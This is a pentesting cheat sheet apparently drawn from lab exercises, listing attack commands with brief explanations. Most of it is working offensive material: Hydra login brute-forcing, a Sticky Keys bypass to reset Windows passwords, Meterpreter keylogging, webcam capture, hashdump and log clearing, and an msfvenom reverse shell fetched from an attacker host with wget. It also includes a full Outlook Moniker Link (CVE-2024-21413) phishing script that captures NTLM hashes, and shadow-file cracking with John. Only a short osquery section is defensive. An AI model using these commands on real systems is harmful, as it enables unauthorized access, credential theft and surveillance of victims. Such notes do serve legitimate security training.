RED BOOK

Short examples for pentesting/hacking

OSQUERY – check if you have been hacked.

```
osquery> .help
```

Search running services:

```
select name, display_name, start_type, user_account from services;
```

Select processes that are listening on port and IP, remove duplicates:

```
SELECT DISTINCT
p.name, l.port, l.address, p.pid FROM processes p JOIN listening_ports l ON p.pid =
l.pid;
```

Check startup processes + registry startup items:

```
SELECT source, name, path FROM startup_items;
```

Check persistence/foothold in scheduled tasks:

```
SELECT name, action, path, enabled, next_run_time FROM scheduled_tasks;
```

Check processes in runtime, not on disk, just in RAM:

```
SELECT name, path, pid FROM processes WHERE on_disk = 0;
```

All processes that are listening non non standard ports:

```
SELECT s.pid, p.name, s.local_address, s.remote_address, s.family, s.protocol,
s.local_port, s.remote_port
FROM process_open_sockets s
JOIN processes p ON s.pid = p.pid
WHERE s.remote_port NOT IN (80, 443) AND s.family = 2;
```

NMAP

Scan live IPs, ports, services, versions, OS, banners.

```
nmap IP     -scan top 1000 ports
nmap -p- IP     -scan all ports
nmap -p 21,22 IP     -scan chosen ports
nmap -sS IP    -SYN scan, fast, stealthy
nmap -sV IP    -service version detect
nmap -O IP    -scan OS
nmap -sC IP    -banner grab
nmap x.x.x1-50    -scan IP range
nmap -sn x.x.x.0/24    -ping scan, check if host is alive
nmap -Pn IP    -if ICMP is disabled
nmap -sV --script safe IP    -safe, silent, banner grab, whois, snmp, dns, OS detect
nmap -p 80 --script http-headers --script-args
http.useragent="CUSTOM_NAME_AGENT" IP    -set custom agent, visible in Wireshark
```

and packets (default is Nmap Scripting Engine)

```
nmap -sS -sV -O -T4 -p- IP -oN savefile.txt    -fast, stealth, OS, save results
```

HYDRA - NETWORK LOGON CRACKER

```
hydra -l USERNAME -P passlist.txt ftp://MACHINE_IP
hydra -l USERNAME -P passlist.txt MACHINE_IP -t 4 ssh                (-t threads to spawn)
```

Crack log in form:

```
sudo hydra USERNAME passlist.txt MACHINE_IP http-post-form
"<path>:<login_credentials>:<invalid_response>"
```

If there is invalid_response in response, then that are not correct credentials. Example:

Example crack on log in form (post):

```
hydra -l molly -P /usr/share/wordlists/rockyou.txt TARGETIP http-post-form
"/login:username=^USER^&password=^PASS^:Your username or password is incorrect."
```

WINDOWS ACCOUNT LOGIN ACCESS

If we have physical access to target PC with Windows system, we can change any user password and log in as that user by exploiting Sticky Keys feature.

1. Start PC with Win bootable USB.
2. On first installation screen press shift+F10 for command prompt to appear.
3. In cmd type notepad.
4. Go to Save file as to get File Explorer.
5. In File Explorer navigate to C:\Windows\System32, find file **sethc** (Sticky Keys) and rename it to sethc1.
6. In same directory find file **cmd** and rename it to sethc.
7. In cmd restart machine by typing: **wpeutil reboot**
8. Remove USB and go to login screen as usual.
9. Press shift fast 5+ times until Sticky Keys - now cmd/command prompt opens.
10. Now we have full system privileges and we can change user password.
11. To check usernames of all users type: **net user**
12. To change user password type: **net user "USERNAME" 1234**

So now password for user is 1234, and we can log in as user.

GOBUSTER CRAWLER BRUTE FORCE WEBSITE PAGES

Using wordlist, search for directories, subdomains, pages on webserver.

```
gobuster dir -u http://WEBPAGE -w WORDLIST.txt
```

-u is used to state the website we're scanning,
-w takes a list of words to iterate through to find hidden pages
-dir search for directories

```
gobuster --help
gobuster COMMAND --help
```

Search through directories:

```
gobuster dir -u "http://www.example.thm/" -w /usr/share/wordlists/dirb/small.txt -t 64
```

Lists directories and inside files .php and .js

```
gobuster dir -u "http://www.example.thm" -w WORDLIST -x .php,.js
```

Search through subdomains:

```
gobuster dns -d example.thm -w WORDLIST
```

Search through vhosts (different websites on same ip):

```
gobuster vhost -u "http://example.thm" -w WORDLIST
gobuster vhost -u "http://IP" --domain example.thm -w WORDLIST --append-domain
--exclude-length 250-320
```

METASPLOIT COMMANDS

Msfconsole

Ls

Ping 8.8.8.8 -c1 (counter 1)

Help set

History

use MODULENAME

Show options

Show payloads

Info MODULENAME

Back

Search SOMETHING

Search type:auxiliary telnet

Set **RPORT**: “Remote port”, target port on the vulnerable system.

Set **PAYLOAD**: The payload you will use with the exploit.

Set **LHOST**: “Localhost”, the attacking machine (your AttackBox or Kali Linux) IP address.

Set **LPORT**: “Local port”, the port on attacker you will use for the reverse shell to connect back to.

Set **SESSION**: Each connection established to the target system using Metasploit have a session ID. You will use this with post-exploitation modules that will connect to the target system using an existing connection.

Setg -set values globally

Unset **unset all** -clear all parameters

Run - run configured exploit

Exploit -z -run process in background

background -check session name of running process

Sessions -check sessions info

Session -i SESSIONNUMBER -switch to session number

Examples

```
use exploit/windows/smb/ms17_010_eternalblue
Show options
set rhosts 10.10.165.3
Set rhosts FILEWITHTARGETIPS.txt
```

METERPRETER COMMANDS

Core commands
background: Backgrounds the current session
exit: Terminate the Meterpreter session
guid: Get the session GUID (Globally Unique Identifier)
help: Displays the help menu
info: Displays information about a Post module
irb: Opens an interactive Ruby shell on the current session
load: Loads one or more Meterpreter extensions
migrate: Allows you to migrate Meterpreter to another process
run: Executes a Meterpreter script or Post module
sessions: Quickly switch to another session

File system commands
edit: will allow you to edit a file
search: Will search for files
upload: Will upload a file or directory
download: Will download a file or directory

Networking commands
arp: Displays the host ARP (Address Resolution Protocol) cache
ifconfig: Displays network interfaces available on the target system
netstat: Displays the network connections
portfwd: Forwards a local port to a remote service
route: Allows you to view and modify the routing table

System commands
clearev: Clears the event logs
execute: Executes a command
getpid: Shows the current process identifier
getuid: Shows the user that Meterpreter is running as
kill: Terminates a process
pkill: Terminates processes by name
ps: Lists running processes
reboot: Reboots the remote computer
shell: Drops into a system command shell like CMD/Powershell

shutdown: Shuts down the remote computer

sysinfo: Gets information about the remote system, such as OS

Others Commands (these will be listed under different menu categories in the help menu)

idletime: Returns the number of seconds the remote user has been idle

keyscan_dump: Dumps the keystroke buffer

keyscan_start: Starts capturing keystrokes

keyscan_stop: Stops capturing keystrokes

screenshare: Allows you to watch the remote user's desktop in real time

screenshot: Grabs a screenshot of the interactive desktop

record_mic: Records audio from the default microphone for X seconds

webcam_chat: Starts a video chat

webcam_list: Lists webcams

webcam_snap: Takes a snapshot from the specified webcam

webcam_stream: Plays a video stream from the specified webcam

getsystem: Attempts to elevate your privilege to that of local system

hashdump: Dumps the contents of the SAM database

METERPRETER REVERSE SHELL EXAMPLE

On attacker:

```
msfvenom -p php/reverse_php LHOST=ATTACKERIP LPORT=8888 -f raw > reverse_shell.php
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost ATTACKERIP
set lport 9000
run
```

Transfer file to target device, on attacker device **run HTTP server**:

```
python3 -m http.server 9000      (open http on port 9000)
```

On target device:

```
wget http://ATTACKERIP:9000/reverse_shell.php
chmod 777 reverse_shell.php
./reverse_shell.php
```

Now reverse shell on meterpreter is opened.

MONKIER LINK (CVE-2024-21413)

Send Moniker Link to a victim, resulting in Outlook sending the user's NTLM credentials to

the attacker once the hyperlink is clicked. The vulnerability here exists by modifying our hyperlink to include the ! special character and some text in our Moniker Link which results in bypassing Outlook's Protected View.
Example Monkier link in HTML code to send on target to click:
<a href="file://ATTACKER_IP/test!example">Click me</a>.

Moniker link script for remote code execution, save as example.py

```
'''
Author: CMNatic | https://github.com/cmnatic
Version: 1.0 | 19/02/2024
'''
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address
receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address
password = input("Enter your attacker email password: ")
html_content = """\
<!DOCTYPE html>
<html lang="en">
   <p><a href="file://ATTACKER_MACHINE/test!example">Click me</a></p>

   </body>
</html>"""
message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email
# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html_content,'html')
message.attach(msgHtml)
server = smtplib.SMTP('MAILSERVER', 25)
server.ehlo()
try:
   server.login(sender_email, password)
except Exception as err:
   print(err)
   exit(-1)
try:
   server.sendmail(sender_email, [receiver_email], message.as_string())
   print("\n Email delivered")
except Exception as error:
   print(error)
finally:
   server.quit()
```

With responder tool listen on ens5 network interface:

responder -I ens5

Run python exploit.py

When target clicks link we will get info, NTLMv2 hash from responder window.

JOHN THE RIPPER

RAR2JOHN

Brute force RAR password protected file.

rar2john [rar file] > [output file]

First, extract the hash (password hash) from a RAR file:

/opt/john/rar2john rarfile.rar > rar_hash.txt

Brute force file with rar hash:

john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txt

Unpack password protected rar file and enter password found.

unrar rarfile.rar

SSH2john

Crack the SSH private key from id_rsa and brute force hash to get password. ssh2john converts the id_rsa private key, which is used to log in to the SSH session, into a hash format that John can work with.

python3 /opt/john/ssh2john.py

ssh2john [id_rsa private key file] > [output file]

/opt/john/**ssh2john.py FILE.id_rsa > ssh_hash.txt**

john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt

Zip2john

Brute force ZIP password protected file. First create hash from zip file.

zip2john SOMEZIP.zip > ziphash.txt

Brute force hash zip file for password.

john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt

john --show ziphash.txt

Custom rules John

Custom passwords generator.

In file: /opt/john/john.conf or /etc/john/john.conf create:

[List.Rules:THMRules] is used to define the name of your rule
Az: Takes the word and appends it with the characters you define
A0: Takes the word and prepends it with the characters you define
c: Capitalises the character positionally
[0-9]: Will include numbers 0-9
[0]: Will include only the number 0
[A-z]: Will include both upper and lowercase
[A-Z]: Will include only uppercase letters
[a-z]: Will include only lowercase letters

Example: [List.Rules:PoloPassword]

```
cAz"[0-9] [!£$%@]"
```

Utilises the following: c: Capitalises the first letter, Az: Appends to the end of the word, [0-9]: A number in the range 0-9
[!£$%@]: The password is followed by one of these symbols.
We cand then call this custom rule with argument using the --rule=PoloPassword flag.

```
john --wordlist=[path to wordlist] --rule=PoloPassword [path to hashfile]
```

UNHASH ROOT USER SHADOW FILE WITH JOHN

```
Unshadow /etc/passwd /etc/shadow > passfile.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt passfile.txt
John --show passfile.txt
```

JOHN THE RIPPER - CRACK HASH

```
john --wordlist=[path to wordlist] --format=[format] [path to hashfile]
```

Use hash identifier to check for hash format:
https://hashes.com/en/tools/hash_identifier
Python hash identifier:
https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master
Launch hash identifier: python3 hash-id.py
Search for John formats - check hash formats for md5:

```
john --list=formats | grep -iF "md5"
```

Example full command:

```
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash3.txt
```

Check cracked hash:

```
Cat /home/user/src/john/run/john.pot
```

GOBUSTER CRAWLER BRUTE FORCE SEARCH WEBPAGES

Using wordlist, search for directories on webserver to detect what pages webserver have.

```
gobuster -u http://WEBPAGE -w WORDLIST.txt dir
```

-u is used to state the website we're scanning
-w takes a list of words to iterate through to find hidden pages
-dir search for directories

TRANSFER FILES USING HTTP

Start http server with Python (Win) and download files on target with wget request.

On attacker (win):

```
python3 -m http.server 1234 c:/testdir
```

-1234 is port where http server will listen, and in last part is directory for http server (not required). For Linux, you could use **python -m SimpleHTTPServer PORT**

On target in CMD (win/linux/any):

```
wget http://ATTACKERIP:1234/SOMEFILEINROOTDIR
```